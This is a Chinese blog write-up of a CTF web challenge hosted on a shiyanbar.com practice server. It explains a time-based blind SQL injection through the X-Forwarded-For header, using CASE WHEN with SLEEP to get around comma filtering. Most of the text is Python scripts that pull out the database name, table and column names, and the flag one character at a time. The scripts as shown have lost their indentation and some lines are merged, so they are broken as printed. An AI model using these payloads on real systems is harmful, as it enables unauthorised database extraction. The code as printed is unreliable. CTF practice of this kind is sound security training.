who are you?
翻翻源码，抓抓包，乱试一通都没有什么结果
题目中提示有ip，立马应该联想到X-Forwarded-For
虽然知道是这个方面的题，但完全不知道从何入手，悄咪咪去翻一下wp
才知道原来X-Forwarded-For后面的的参数是先入数据库再取出来，并不是直接显示的
所以这里的X-Forwarded-For应该是存在注入的（果然是大佬，学到了）
而且经过测试，','以及后面的内容都会被过滤，这就导致我们的传统注入语句失效了
查了一下，这里需要用到select case when then语句
提交X-Forwarded-For:1' and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and '1'='1;果然发生了延迟
接下来的原理就跟基于时间的盲注一样，只要不断替换when后面的判断语句，这要是手工的话还真是个体力活- -
我也正好趁着这种机会好好练习一下python
先是手工判断了一下数据库名的长度为4，接着上代码开始跑
import requests
guess='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
database = ''
for i in range(1,5):
for each in guess:
headers = {"X-Forwarded-For":"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,each)}
try:
r = requests.get(url, headers = headers, timeout=5)
print(r.text)
except:
database = database + each
break
print('database_name='+database)
又手工看了一下当前数据库中表的数量
只有两张，这就很舒服
接着跑一下看看所有表名的字长
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
i=1
table_length=0
tables="" while True:
headers={
"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
i+=1
except:
table_length = i-1
break
print(table_length)
最后得出是14，接着开始跑表名
我反复测试了好久，这应该是网络的问题，代码没有错，只是每次跑的结果都有几个字母不一样让我很难受
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
for each in range(30,127):
headers={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
except:
tables += chr(each)
print("")
print(chr(each))
print("")
break print("tables: %s" % tables)
想我也是看过wp的人，怎么会拘泥于这种小结呢，通过wp我知道了两张表分别是cilent_ip和flag（而我每次都是奇怪的字符，比如cl:"t_ip;fHag，六秒的延迟竟然还会错这么多，我只能说中国移动天下第一- -！）
接着就是跑flag表的列了，老规矩先瞅瞅他列名的长度
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(1,10):
headers ={
"X-Forwarded-For":"1' and case when (substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" %i
}
try:
r = requests.get(url, headers=headers, timeout=6)
print(" "+r.text)
except:
print('the number of tables is ' + str(i-1))
break
才4个字符，赶紧跑起来，我不信这次还能跑偏
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
columns = ''
for i in range(1,5):
for each in range(30,127):
header={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=header, timeout=6)
print(" "+r.text)
except:
columns += chr(each)
print("")
print(chr(each))
print("")
break print("column: %s" % columns)
移动爸爸给我脸了！他没错！
倒数第二步，看字段数！
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
data_length = 0
i = 1
while True:
header={
"X-Forwarded-For":"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i
}
try:
r = requests.get(url, headers=header, timeout=6)
print(" "+r.text)
i += 1
except: print("")
print('the number of data is '+ str(i-1))
print("")
break
32个！一口老血........
最后一步了，要dump数据了！不多说，拿去跑！
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
data = ''
i = 1
while i <= 32:
for each in range(30,127):
header={
"X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(flag separator ';') from flag ) from %s for 1))=%s) then sleep(10) else 0 end and 'a'='a" % (i,each)
}
try:
r = requests.get(url, headers=header, timeout=10)
print(" "+r.text) except:
data += chr(each)
print('')
print(chr(each))
print('')
break
i += 1
print('flag: ' + data)
以上代码经过测试均有效，跑不出来你就退群吧╮(๑•́ ₃•̀๑)╭
这篇博客大概写了有大半天了，在不断的测试修改代码的过程中也收获了很多
反正就是舒服